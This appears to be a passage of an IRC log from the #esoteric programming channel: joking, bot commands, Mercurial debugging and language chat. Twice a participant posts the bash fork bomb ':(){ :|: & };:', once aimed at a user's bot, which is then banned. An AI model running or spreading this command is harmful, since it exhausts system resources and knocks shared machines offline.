very funny 02:43:30 the evidence is all there in the logs hth 02:43:41 how so? 02:43:48 what'd i do? 02:44:07 or i will still flay you alive 02:44:15 just the last one i've seen so far 02:44:15 ah :P 02:44:39 i HAVE flayed prooftechnique for crashing havoc once 02:46:03 I remain unflayed 02:46:03 shocking 02:46:14 And it was only me that first time 02:46:19 And that was before the flaying 02:46:27 or threats thereof 02:46:47 however i have killall bash 'd havoc for updates 02:46:55 and modifications 02:47:17 You know you only have to source .bash_profile right? You don't have to kill the whole bash process, in general 02:47:24 *, right? 02:47:40 im a bash failure, idk 02:48:02 anyways 02:48:08 i gave havocbot mk 02:48:13 for convenience 02:48:20 its the perfect allround tool :P 02:49:56 helloerjan 02:50:51 do you know ant 'wegians whove never been to the canary islands? 02:54:17 do i count? 02:55:32 yes 02:55:43 mind you, my aunt lives there much of the year. 02:56:46 i know ants who havent been to america 02:56:50 fair nuff 02:56:51 there in the uk 02:57:13 just wait, ants will make minicars soon enough 02:57:26 ++++ Out of cheese error ++++ 02:57:46 * oerjan is reminded by Simak's "City" 02:58:23 thats from Terry Pratchet's science of diskworld, dummy 02:58:45 oh those ants 02:58:58 well both kinds were intelligent, i believe. 02:59:41 i ment the out of cheese error 02:59:56 well, ants too 03:01:16 ++++ Anyways ++++ 03:01:35 * oerjan somehow stopped reading pratchett at some point, but peeked enough at science of discworld to assume that's a Hex error message. 03:02:21 `thanks ants 03:02:27 Thanks, ants. Thants. 03:02:32 -!- hppavilion[1] has joined. 03:02:57 hppa! 03:03:26 havocbot is in stable condition 03:03:33 as far as i know at least 03:03:59 oerjan: moon_: I thought HEX only used /three/ + signs 03:04:06 maybe I'm wrong though 03:04:07 Your right 03:04:10 Well 03:04:10 idk 03:04:14 its hard to remember 03:04:18 ill consult the book 03:05:14 its funny how the Out of cheese error turned up in realworld system 03:06:23 `quote matrix of solidity 03:06:24 240) enjoy being locked in your matrix of solidity 03:06:26 its +++ 03:06:34 I think that might be a reference to https://en.wikipedia.org/wiki/Matrix_isolation? 03:06:36 `quote out of cheese error 03:06:37 No output. 03:06:42 )= 03:06:52 `quote moon_ 03:06:53 No output. 03:07:03 moon_: BTW, could you choose a consistent nick and stick to it/ 03:07:04 *? 03:07:06 `quoteadd +++ Out of cheese error +++ 03:07:07 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quoteadd: not found 03:07:08 i try 03:07:22 `addquote +++ Out of cheese error +++ 03:07:25 1280) +++ Out of cheese error +++ 03:07:34 moon_: Also, when your time out and reconnect and thus have a different nick, try to remember to change back to your main nick when it disconnects 03:07:52 Ah, sorry 03:07:55 Has anybody properly implemented blerp yet? 03:10:42 ^prefixes 03:10:42 Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , j-bot [ . 03:10:56 -!- Destructible has joined. 03:11:02 hi 03:11:55 anybody? 03:12:12 hi 03:12:15 `welcome Destructible 03:12:18 Destructible: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 03:12:35 -!- bender has joined. 03:12:56 hi 03:13:07 ais523: Destructible has been here before hth 03:13:19 yes 03:13:26 hppavilion[1]: right 03:13:52 hmm, I keep being surprised at people turning up at 2am UTC and wondering why nobody is around (in many channels, not just this one) 03:14:31 It's only 19:14 in America/Los_Angeles. 03:14:45 pikhq: It's 18:14 here with the cool kids 03:15:18 In Alaska? 03:15:27 pikhq: ...maybe 03:15:29 * suspicious 03:16:56 pikhq: however, I find the UK small hours tend to be a particularly quiet time online for some reason 03:17:04 it may be that it's too late in the UK and too early in the US 03:18:03 ^ 03:18:51 I think that might be a reference to https://en.wikipedia.org/wiki/Matrix_isolation? <-- almost certainly not. 03:19:45 ofc, it's also possible that my interests are correlated with those of British people (seeing as I'm British), and thus I'm seeing an atypical nationality balance 03:20:36 `delquote 1280 03:20:41 ​*poof* +++ Out of cheese error +++ 03:21:05 `? quoteformat 03:21:07 quoteformat is: message; * nick action; two spaces between messages; all elisions marked with [...] other than irrelevant intervening messages; for messages separated by elision, one space on each side, not two. 03:23:04 oh hi Destructible, 03:23:10 *. 03:24:54 mind you, i would probably have deleted it even if it were correctly formatted. 03:25:17 -!- Phantom_Hoover has joined. 03:25:22 hia phantom 03:25:38 `url bin 03:25:44 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin 03:28:08 -!- Lord_of_Life has joined. 03:29:46 oerjan: how do spaces work around an elision if you elided only a few words from a message? `? quoteformat doesn't say 03:33:03 hm tricky 03:34:20 i'm not sure you're supposed to do that. 03:37:30 Why would that elision be treated differently? 03:38:27 `` quote django | tail -n 1 03:38:31 1233) `addquote boily: thanks for getting quoted saying django btw, now I'm only in 87.5% of the django quotes [...] ah, the inevitable result of mentioning django 03:39:36 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 03:40:46 `1 quote djagon 03:40:51 1/0: 03:40:51 `1 quote django 03:40:55 1/6:260) django is named after a person? thought it would be a giraffe or something \ 305) `quote django ​352) django is named after a person? thought it would be a giraffe or something thankfully only one \ 306) `quote django ​352) shachaf, would adding a timer to havoc's I/O help? 03:42:51 Help what? 03:42:57 with the noise 03:43:05 actually 03:43:09 The reason it's noise is that I don't care about it. 03:43:16 only one way to find ou- ... 03:43:31 others like it :P 03:43:50 so generally it has a purpose 03:44:42 Do they? 03:46:11 Yea, others use the bot on there own 03:46:25 why i said like idk 03:48:04 is there any point at all to the linux 'yes' command? 03:48:10 all it does is spam y 03:48:28 or its input 03:48:47 `yes 03:48:50 y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y 03:48:57 like that 03:49:16 `yes but it certainly gives a message 03:49:17 but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ 03:49:25 :/ 03:49:37 It's mainly for scripting 03:49:37 i dont get the point 03:49:40 oh 03:49:54 Like "answer yes everytime is asks" 03:49:58 a better name would be 'spam' 03:50:13 It's not normally run in an IRC channel 03:51:03 im running it on my end 03:52:24 -!- Destructible has quit (Quit: Page closed). 04:03:01 Why does my computer support only one colormap? 04:03:44 because it's meta-racist 04:04:05 i wonder if that deserves a quote 04:04:56 `addquote Why does my computer support only one colormap? because it's meta-racist 04:05:00 1280) Why does my computer support only one colormap? because it's meta-racist 04:05:00 i put two spaces 04:05:28 yay! 04:06:12 next up: reach quote 9001 (yes i am alking about a old joke) 04:06:38 -!- Lord_of_Life has joined. 04:06:41 Hi 04:11:19 `head -c 1M head: 1M `head -c 10000 head: 10000 `head -c head: `cat /dev/urandom #Scream with me! 04:11:46 cat: /dev/urandom #Scream with me!: No such file or directory 04:11:50 `cat /dev/urandom 04:11:51 ​§ô|?µf.æÙ÷8"H¸(ŸvëÚ¾‚[¤#-?†#Þb*ÔÑY¸žÂXðžÍö|ªJLÏ@b ›õbíô†­Á"œõZ­‘VBhó|¾òc“nyh— \ d€W͞F.>ú1Û;'ãd.î׋~,2Ÿ-¨5_éq”àŸ“)Ì#Y˜ÄÚ:ɳÉÌAìtÍz5áîìÛôYÖc)=£WZmÐáru§ÀJÑTlëÜT^X4}?Ñƈ"O…eA‚5MEùU,:ÿ9‘˜»b̗أbΙFæBõŒ“=¬_£ \ 6ëp·q]nR–iÀŠ 04:12:00 -!- Lord_of_Life has quit (Ping timeout: 260 seconds). 04:14:16 ok back to my game of factorio 04:15:18 oh 04:24:22 -!- moon_ has quit (Ping timeout: 250 seconds). 04:26:00 -!- Phantom_Hoover has quit (Remote host closed the connection). 04:27:08 -!- Lord_of_Life has joined. 04:31:42 any terminal expert here? 04:31:54 stty setaf produces \e[3m 04:31:59 which seems correct 04:32:14 but on sun-term on solaris in virtualbox i can't see anything beyond the first 8 colors 04:32:34 oh wait i can't see red 04:32:50 no red works 04:33:29 but bright red messes shit up 04:35:38 bah there's something funny going on 04:51:30 High-end computers should be able to support more than one colormap. 04:52:20 It already has OpenGL and that stuff but not more than one colormap. 04:56:00 I am not so sure that I should even need OpenGL? 05:02:52 I am writing a compiler to target Z-machine codes in JavaScript. I already wrote many parts of it and hopefully would be good when it is finish. I hope you like this? (It uses an assembly language code to write the code; you cannot compile a JavaScript code or C code or ZIL code or anything like that. But, extensions to the program could add the support for others too.) 05:05:05 You can then try to invent the esoteric programming language to compile into a Z-machine code too, possibly the existing one or the not exist one 05:05:42 i'm so confused 05:05:47 it compiles what to what now? 05:06:21 Am I too confusing? 05:07:34 just... not completely clear 05:08:05 you're writing a compiler in js that compiles to z-machine? 05:08:12 Yes. 05:08:15 what does it compile from? 05:09:01 Its own format which uses assembly language for writing the instructions in a function, but the rest of the file is in a different format. 05:09:59 Hopefully that is now understandable better? 05:11:43 so you expect that others will write an assembler to turn other languages into this format? 05:12:49 Maybe; I don't know. 05:13:09 Possibly it can help if you want to compile a program written in BASIC into a Z-machine code. 05:33:33 -!- Kaynato has quit (Ping timeout: 240 seconds). 05:47:49 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 05:48:14 -!- Destructible has joined. 05:48:20 :) 05:48:23 HOI 05:49:02 :( 05:53:00 `smlist 440 05:53:02 smlist 440: shachaf monqy elliott mnoqy 05:53:07 `smlist 441 05:53:08 smlist 441: shachaf monqy elliott mnoqy 05:53:13 `smlist 442 05:53:14 smlist 442: shachaf monqy elliott mnoqy 05:57:58 -!- Destructible has quit (Ping timeout: 250 seconds). 06:07:43 -!- ais523 has quit (Read error: Connection reset by peer). 06:07:52 `? peer 06:07:55 peer? ¯\(°​_o)/¯ 06:10:07 `learn peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections. 06:10:14 Learned 'peer': peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections. 06:10:43 HackEgo: Didn't he review some of Ørjan's publications? 06:10:48 s/HackEgo/oerjan/ 06:11:15 I bet that's why you don't like him. 06:11:24 Also what's with the capitalization? 06:11:32 I mean, not that I care. But I thought you had standards. 06:12:08 -!- ais523 has joined. 06:12:22 Or is it required because his name is written in lowercase in the IRC message? 06:12:26 -!- ais523 has quit (Client Quit). 06:12:59 shachaf: yep that was my thinking 06:13:09 I used to think that Peer Gynt was a composer. 06:13:23 no, that's Edvard Grieg hth 06:13:28 Yes. 06:13:45 it was an egriegious error 06:14:46 Apparently Peer isn't actually a troll, either. 06:14:46 although https://www.youtube.com/watch?v=P01EqXn7mik 06:15:05 shachaf: well he had a troll education 06:15:13 see link 06:15:39 I can't listen to audio right now. 06:15:46 Is the link just the well-known piece? 06:15:50 -!- xkapastel has quit (Quit: Connection closed for inactivity). 06:15:58 Just the picture? 06:17:16 yes. 06:17:19 I guess Peer Gynt and Per Martin-Löf have related names? 06:17:27 well duh 06:17:42 cognate to Peter 06:20:24 `le/rn per martin-löf/"per Martin-Löf" is a common citation lazy logicians use when they don't want to prove their theorems. It rarely gets past peer review. 06:20:27 Learned «per martin-löf» 06:21:26 oerjan: Peter and The Wolf are another famous couple of composers, I suppose. 06:22:07 although, whoa whoa whoa, peter and the wolf is from 1936? 06:43:51 -!- Destructible has joined. 06:44:21 hello? 06:44:45 :( 06:44:56 anybody? 06:45:04 :: 06:45:29 :( | ): 06:45:52 :(){ :|: & };: 06:46:06 Hello 06:46:25 `relcome 06:46:33 ​Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 06:47:20 `rainwords why 06:47:38 oh 06:47:43 anyway 06:47:47 I found a thing 06:47:51 No output. 06:48:04 What thing is that? 06:48:07 `cat bin/rainwords 06:48:08 ​#!/usr/bin/python \ import random; w=[l.split() for l in open("/dev/stdin").read().split("\n")]; r=[4,7,8,9,2,6,13]; print "\n".join((lambda s: " ".join(chr(3) + "%02d"%r[(i+s)%len(r)] + l[i] for i in range(len(l))))(random.randrange(0, len(r))) for l in w) 06:48:15 oh it's python 06:48:42 so, could you have a look at this thing please. it's multiplayer, if it could be considered playing 06:48:43 `rainbow why 06:48:46 -!- b_jonas has quit (Read error: Connection reset by peer). 06:48:57 gah 06:49:02 genetic cars 2: multiplayer 06:49:06 `cat bin/rainbow 06:49:08 ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p) 06:49:14 No output. 06:49:22 I'm interested in it, but it doesn't seem to have people on it 06:51:26 could you please have look at it or something 06:52:43 are you still there, or am I entirely uninteresting? 06:52:52 Oh, I remember a game like that 06:53:27 yeah, except multiplayer. and in-"game" chat 06:53:41 Destructible: i'm not really interested, but to be honest i find this pushy way of asking quickly _reduces_ my interest even if i have one. 06:53:49 ok 06:54:00 I understand 06:54:17 Also the lack of link makes it sort of hard to know which version of the concept you're talking about 06:55:47 do you want a link? 06:56:13 That would be helpful 06:56:35 http://gencar.co/ 06:58:07 still there, or are you looking at it? 06:58:41 It truncated my name to destructib 06:58:48 >:| 06:58:57 I'm looking at it. Are you selling this or something? 07:00:31 no 07:00:49 I just want to see stuff, and make use of the multiplayer thing 07:01:17 I'm in world 54 07:01:24 PubNub-World-54 07:01:27 same 07:01:36 In the original, on my world 07:01:47 there was this really hard obstacle 07:01:51 nothing got past it 07:02:03 there was just this 07:02:07 fence 07:02:08 I don't understand how multiplayer enters into this 07:02:21 it shares the top cars with players 07:02:32 This looks just like the regular genetic cars, and the chat doesn't seem to do anything 07:02:48 yeah 07:02:50 I guess 07:02:58 I just wanted to see if it was cool 07:03:02 I guess not 07:03:04 :/ 07:03:23 ssorry 07:03:23 I mean, it's neat, but it's not exactly a participatory activity 07:03:52 ok 07:04:12 brb 07:05:47 back 07:17:39 ... 07:17:41 silence 07:17:53 Many people are asleep 07:17:54 No, noise. 07:18:01 There are other active channels 07:20:31 -!- Destructible has quit (Quit: Page closed). 07:31:03 -!- PinealGlandOptic has quit (Ping timeout: 240 seconds). 07:31:18 -!- lambda-11235 has quit (Quit: Bye). 07:37:57 -!- hppavilion[1] has joined. 07:38:18 -!- Frooxius has joined. 07:55:12 `blerp 07:55:14 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: blerp: not found 07:55:17 -_- 07:55:23 Seriously, someone get on that 08:15:57 Write a bot that helps me decide on a good starting spot in Dwarf Fortress 08:17:54 which starting spots are there? 08:18:54 FreeFull: We can put that in the -n flag 08:42:42 Huh, I didn't know Norway had walri 08:46:01 walruses are american 08:46:05 they invented wal-mart 08:46:13 shachaf: BLASPHEMY 08:46:25 `? peer 08:46:27 shachaf: Walri would never contribute to something so obscenely evil 08:46:28 peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections. 08:46:44 I thought it was Pierce? 08:46:47 `? pierce 08:46:48 pierce? ¯\(°​_o)/¯ 08:46:56 `? peirce 08:46:58 peirce? ¯\(°​_o)/¯ 08:47:03 As in, "Connection reset by Pierce" 08:47:11 But that works too 08:47:33 "Connection deset by peer" 08:48:16 "Connection preset by peer" 08:52:08 "Connection beset by peer" 08:52:38 "Connection emeset by peer" 08:52:48 "Connection exset by peer" 08:54:11 "Connection poset by pper" 08:54:49 "Connection rheset by peer" 08:57:53 -!- hppavilion[1] has quit (Quit: Peer is now sick of stupid greek/latin root jokes). 08:59:13 -!- hppavilion[1] has joined. 09:02:07 -!- augur has quit (Remote host closed the connection). 09:24:43 -!- Frooxius has quit (Quit: *bubbles away*). 09:41:46 -!- PinealGlandOptic has joined. 10:03:16 -!- oerjan has quit (Quit: Nite). 10:16:45 *sign* 10:17:26 |n 10:25:47 [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47193&oldid=47166 * Sesshomariu * (+33) /* Examples */ 10:29:26 -!- bender has quit (Ping timeout: 250 seconds). 10:41:34 -!- bender has joined. 10:44:11 -!- gniourf has quit (Remote host closed the connection). 10:59:40 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 11:42:14 -!- Phantom_Hoover has joined. 12:05:15 -!- bender has quit (Ping timeout: 264 seconds). 12:11:36 -!- bender has joined. 12:36:29 -!- gamemanj has joined. 14:01:05 -!- boily has joined. 14:20:56 -!- PinealGlandOptic has quit (Quit: leaving). 14:24:14 -!- Kaynato has joined. 14:24:33 `wisdom 14:24:48 godot//cf. elliott 14:25:08 waiting for... the punchline 14:25:16 -!- Destructible has joined. 14:26:25 int-e haha 14:26:25 hi? 14:26:28 It took me ages to get it 14:28:01 I don't get it. e is a number that is not an integer? 14:32:48 int-e is a user in this channel 14:33:39 Dellostructible, int-ello. 14:33:53 qrf sadly is unporthelloable... what should it be? 14:34:19 -!- Destructible has quit (Quit: Page closed). 14:35:02 I'm not following 14:35:19 `? porthello 14:35:20 porthello? ¯\(°​_o)/¯ 14:35:23 darn. 14:35:45 qrf: a porthello is a portmanteau of your name and some form of greeting mashed into it. 14:42:54 -!- lambda-11235 has joined. 15:03:44 qrfello 15:06:08 Salaam 15:11:41 boily: bolly good well! 15:11:51 ...or something. 15:12:22 (Figuring out a good way of making "jolly good well" mix with boily is left as an exercise to the reader.) 15:12:31 helloily 15:12:38 its saturday! 15:12:52 I'm sure it's Sunday somewhere. 15:12:58 But hopefully not Monday. 15:13:22 sure, but here in quintoily time zone, it is saturday 15:15:31 QTZ? 15:17:00 yes 15:18:06 -!- dnm has quit (Ping timeout: 272 seconds). 15:19:32 -!- b_jonas has joined. 15:30:32 okay, a minute before the godot wisdom entry was created, this happened: oerjan changed the topic of #esoteric to: Waiting for elliott | [...] 15:30:57 `rm wisdom/godot 15:31:00 No output. 15:32:03 (and that was 3 years ago, so I don't think there's any reason to keep it) 15:33:13 what did it say? 15:34:42 15:24:48 godot//cf. elliott 15:35:02 ah 15:35:09 lame 16:11:23 QUINTHELLOPIA! 16:12:01 I want to implement a shitty template language to render HTML 16:12:10 I'm not sure how much I want to support 16:12:24 -!- boily has quit (Quit: DEREFERENCED CHICKEN). 16:12:51 I want to use C#'s Expression API to generate bytecode when the server is booting 16:13:41 if statements? Sure 16:13:43 foreach loops? Yes 16:14:16 Expressions like x || (y.f(a, b, c) & e)? Meh 16:14:39 I'd probably have lost interest by the time I make that work 16:14:58 I should probably aim for less than that for now 16:23:24 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47194&oldid=47191 * Qwertyu63 * (-1047) 16:41:29 -!- bender has quit (Quit: Leaving). 16:42:15 -!- augur has joined. 17:04:59 -!- lambda-11235 has quit (Ping timeout: 258 seconds). 17:05:32 -!- lambda-11235 has joined. 17:27:48 -!- moon_ has joined. 17:27:57 hi 17:39:51 -!- lambda-11235 has quit (Ping timeout: 276 seconds). 17:43:54 -!- lambda-11235 has joined. 17:49:56 -!- moon_ has quit (Ping timeout: 250 seconds). 18:23:04 -!- moon_ has joined. 18:30:05 -!- augur has quit (Remote host closed the connection). 18:36:42 chat's dead 18:37:00 -!- Frooxius has joined. 18:38:01 `` echo "suixoorF em guh" | rev 18:38:03 hug me Frooxius 18:39:03 Hmm? O.O 18:39:52 hackego wants a hug 18:41:36 Sure it's not you who wants one and is just lightly cryptic about it? 18:42:54 im sure, im good ._. 18:46:09 * Frooxius glares, mildly puzzled 18:53:22 -!- lambda-11235 has quit (Ping timeout: 250 seconds). 18:54:06 -!- lambda-11235 has joined. 19:01:28 its my job to confuzzle you 19:01:36 wait are you new? i think you might be 19:01:54 Frooxius 19:02:43 Technically not new, but mostly inactive. 19:03:44 Ah 19:03:45 Well pretty much absent here. 19:03:52 Then you dont get my antics :P 19:04:01 Back to working on havocbot, then 19:04:34 I was thinking for a moment if you were from a different channel. 19:20:08 also,if you want to try my bot, go to #esoteric-blah 19:23:12 ok, bye Frooxius 19:57:32 -!- dnm has joined. 20:12:14 https://www.youtube.com/watch?v=b-Cr0EWwaTk 20:12:43 `wisdom 20:12:53 -!- xkapastel has joined. 20:12:54 numbers//Numbers: 0, 848, 1344, 1696, 1969, 2192, _, 2544, 2688, 2817, _, 3040, _, _, 3313, 3392, ... 20:13:07 wat 20:14:13 `culprits wisdom/numbers 20:14:34 tswett 20:31:44 -!- lambda-11235 has quit (Ping timeout: 250 seconds). 20:43:19 -!- lambda-11235 has joined. 20:48:37 -!- Frooxius has quit (Quit: *bubbles away*). 21:24:53 -!- augur has joined. 21:30:13 -!- boily has joined. 22:04:03 -!- J_Arcane has quit (Ping timeout: 240 seconds). 22:09:01 -!- J_Arcane has joined. 22:27:29 -!- J_Arcane_ has joined. 22:28:11 -!- J_Arcane has quit (Ping timeout: 244 seconds). 22:28:24 -!- J_Arcane_ has changed nick to J_Arcane. 22:29:17 -!- J_Arcane has quit (Client Quit). 22:34:48 -!- gamemanj has quit (Ping timeout: 250 seconds). 22:35:01 -!- boily has quit (Quit: ECTOPLASMIC CHICKEN). 22:38:53 -!- iconmaster has joined. 22:38:53 -!- iconmaster has quit (Client Quit). 23:09:22 -!- J_Arcane has joined. 23:17:11 -!- hppavilion[1] has joined. 23:17:25 hii 23:24:38 does any language in the c family implement &&= and ||= ? 23:24:56 a &&= b would be a = a && b 23:25:50 nope, as far as i know, nope 23:28:38 -!- ^v has quit (Ping timeout: 244 seconds). 23:41:03 I don't know any, but have occasionally wanted it both in a C code and in a JavaScript code (in JavaScript the && and || operators are somewhat different from in C; && selects the right side if the left side is true, or the left side otherwise; || selects the right side if the left side is false, and the left side otherwise). In GNU C you ca use ?: without anything in between too, similar to || of JavaScript 23:46:26 -!- ^v has joined. 23:47:23 hi ^V 23:47:27 *v 23:47:30 ^v 23:47:53 <^v> moon_, hi 23:48:15 remember how prooftechnique (i think) pinged you with havocbot? 23:54:31 ^ ^v 2016-06-12: 00:01:37 -!- boily has joined. 00:03:14 hi boily 00:03:18 im rnning a linux bot 00:03:45 mhelloon_! you have a bot! yay! 00:04:45 its in #esoteric-blah 00:04:48 gentoo linux bot 00:14:00 -!- evalj has joined. 00:22:23 <^v> moon_, you are referring to the BEL character right? 00:32:17 mhm 00:35:20 did cobol use base10 numbers? 00:35:58 i found a pdf where they say that cobol puts 0-9 in each nibble 00:45:17 ybden (and me) just formatted the C: drive of b_jonas's termbot 00:45:46 that's not very nice 00:45:57 he said we can ruin it tho 00:46:00 Ruby has &&= and ||= 00:47:29 nice 00:48:03 -!- ^v has quit (Quit: ZNC - http://znc.in). 00:50:29 -!- ^v has joined. 00:54:41 -!- ^v has quit (Read error: Connection reset by peer). 00:55:14 -!- oerjan has joined. 00:57:04 hi oerjan 00:57:28 ybden has been messing with my virtual screen over hbot :P 00:57:33 high moon_ 00:58:27 oerjan, could i attempt to see how much usage havocbot will get in #esoteric so i can modify it to be less noisy? 00:58:49 i dont think a experiment crew would gather in #esoteric-blah :P 00:58:57 -!- copumpkin has joined. 00:59:27 -!- ^v has joined. 01:00:40 copumpkin: hellopumpkin 01:01:41 Dobroily wieczór. 01:01:55 -!- Phantom__Hoover has joined. 01:02:00 hi phantom 01:02:12 Huh, this is interesting 01:02:21 The 'di' in 'dilemma' is an actual root 01:02:28 Meaning that there's also such thing as a "trilemma" 01:02:35 Jórjan estét. 01:02:40 Which is significant enough to have a wikipedia page 01:02:53 AND it's a pretty well-documented one; not just a stub or somecuh 01:02:56 *somesuch 01:03:00 hppavellon[1], Phantom__Heloover. 01:04:26 hppavilion[1]: now look at tetralemma hth 01:05:05 So you can also have a tetralemma, pentalemma, etc. 01:05:16 And I suppose a monolemma, kind of 01:05:26 and a nillemma. 01:05:42 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 01:05:54 boily: is nil- a greek root? 01:06:20 medenlemma? 01:06:32 oerjan: nulli is latin, not sure about nil 01:06:40 Wikipedia says the greek 0 root is meden 01:06:42 There's a popular song about someone facing an undecentumlemma 01:07:01 no idea if nil- is greek, but “nillemma” sounds neat. 01:07:21 haplolemma? sesquilemma? 01:07:25 heh 01:07:28 boily: Fair enough, and we've done worse 01:07:33 "hexadecimal" 01:08:33 dodecatolemma, ogdoölemma, hectolemma, tetratolemma, tritolemma, hemilemma, monolemma 01:08:54 ecalemma 01:08:58 no 01:08:59 Huh, latin has sesqui (1.5), but also quasqui (1.25) (only in certain contexts though) 01:09:02 ekalemma 01:09:03 hppavilion[1]: ogdoö??? 01:09:20 myrialemma 01:09:23 boily: Apparently 01:09:28 -!- hbot has joined. 01:09:47 Knuth is said to prefer "senidenary" for Latin of group by sixteen 01:09:48 hbot: :(){ :|:& };: 01:09:58 What's the greek infinite? 01:10:05 countilemma and uncountilemma 01:10:24 one countilemma, ha ha ha, two countilema, ha ha ha... 01:10:55 boily: I would like to see advanced sesame street, with the count demonstrating countable and uncountable sets and such 01:11:40 googolemma 01:11:54 aleph_zero integers, ha ha ha, aleph__zero integers, ha ha ha, aleph__zero integers, ha ha ha ... 01:12:02 "You must choose exactly one of the fundamental particles in the observable universe" 01:12:02 (Other variants mentioned are "sexadecimal", "hexadecadic", and "sedenary".) 01:12:06 oops 01:12:10 wait why did havocbot join? 01:12:16 I'll stick with sexadecimal 01:12:17 urgh 01:12:19 bad bort 01:12:21 bad 01:12:27 bort bort bort ♪ 01:12:29 (1+i)lemma? 01:12:45 "Hexadecimal" or "hex" is common so what I and others will commonly use. 01:14:33 -!- hbot has quit (Ping timeout: 240 seconds). 01:18:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 01:19:20 qrf sadly is unporthelloable... what should it be? <-- qrfternoon hth 01:19:52 oh wait no qr534h99h 01:20:00 hm nah 01:20:10 doesn't work 01:20:14 qrfternooner? 01:20:44 `? fternooner 01:20:59 fternooner (Danish »fternooner«, Norwegian «ttermiddag», Swedish ”ftermiddag”) is a screamingly delicious pastry. 01:21:34 -!- hbot has joined. 01:21:50 -!- ChanServ has set channel mode: +o oerjan. 01:21:51 What happened to that bot being in #-blah? 01:21:56 -!- oerjan has set channel mode: +b *!*hbot@*.dhcp.embarqhsd.net. 01:22:00 -!- oerjan has set channel mode: -o oerjan. 01:22:08 idk what it did 01:22:11 hth 01:22:15 i jst rolled back 01:22:30 `before bin 01:22:32 someone put a magnet to its virtual drive 01:22:51 `before is TG 01:22:54 bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo 01:23:00 help 01:23:03 `before is broken 01:23:14 I wonder whether `after would be useful. 01:23:28 `cat bin/before 01:23:30 lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done 01:23:36 `lastfiles bin 01:23:41 bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo 01:23:47 `cat bin/lastfiles 01:23:48 hg log -l 1 --template "{files}\n" -- "$@" 01:24:13 `` hg log -l 1 bin 01:24:24 changeset: 121:8a04b0258775 \ user: HackBot \ date: Thu Mar 22 19:17:38 2012 +00000000 \ summary: run mv bin test; touch bin 01:24:30 Oh. hg log doesn't log changes to files inside directories? 01:24:59 shachaf: hm isn 01:25:04 -!- evalj has quit (Remote host closed the connection). 01:25:08 `? isn 01:25:09 't that inconsistent with what we've seen already 01:25:09 isn? ¯\(°​_o)/¯ 01:25:13 oh 01:25:16 `before share 01:25:21 Yes, something odd is going on here. 01:25:30 share/test//share/test: no such file in rev 49d5a8654dd7 01:25:38 oops 01:25:40 more brokenness 01:25:46 `` hg log -l 1 share 01:25:54 changeset: 8166:bdb02b531ce0 \ user: HackBot \ date: Wed May 25 22:01:44 2016 +00000000 \ summary: rm share/test 01:25:56 shachaf: well isn't that what you'd expect if it was a file creation 01:26:06 -!- spockers has joined. 01:26:11 But apparently it was the opposite? 01:26:15 hm or apparently the opposite 01:26:38 `` hg log --removed -l 1 share 01:26:40 qrfternoon is retrobvious. 01:26:48 changeset: 8166:bdb02b531ce0 \ user: HackBot \ date: Wed May 25 22:01:44 2016 +0000000 \ summary: rm share/test 01:26:55 boily: but a bit limited in usage 01:27:09 it's a start! 01:27:15 hg log --template '{rev}\n' share 01:27:29 -!- hbot has quit (Remote host closed the connection). 01:28:23 `` hg log --template '{rev}\n' share 01:28:30 8166 \ 8165 \ 8034 \ 8009 \ 8007 \ 8006 \ 8005 \ 7993 \ 7992 \ 7991 \ 7990 \ 7986 \ 7985 \ 7984 \ 7922 \ 7921 \ 7920 \ 7884 \ 7882 \ 7879 \ 7878 \ 7866 \ 7860 \ 7859 \ 7858 \ 7854 \ 7853 \ 7846 \ 7845 \ 7839 \ 7838 \ 7755 \ 7754 \ 7753 \ 7752 \ 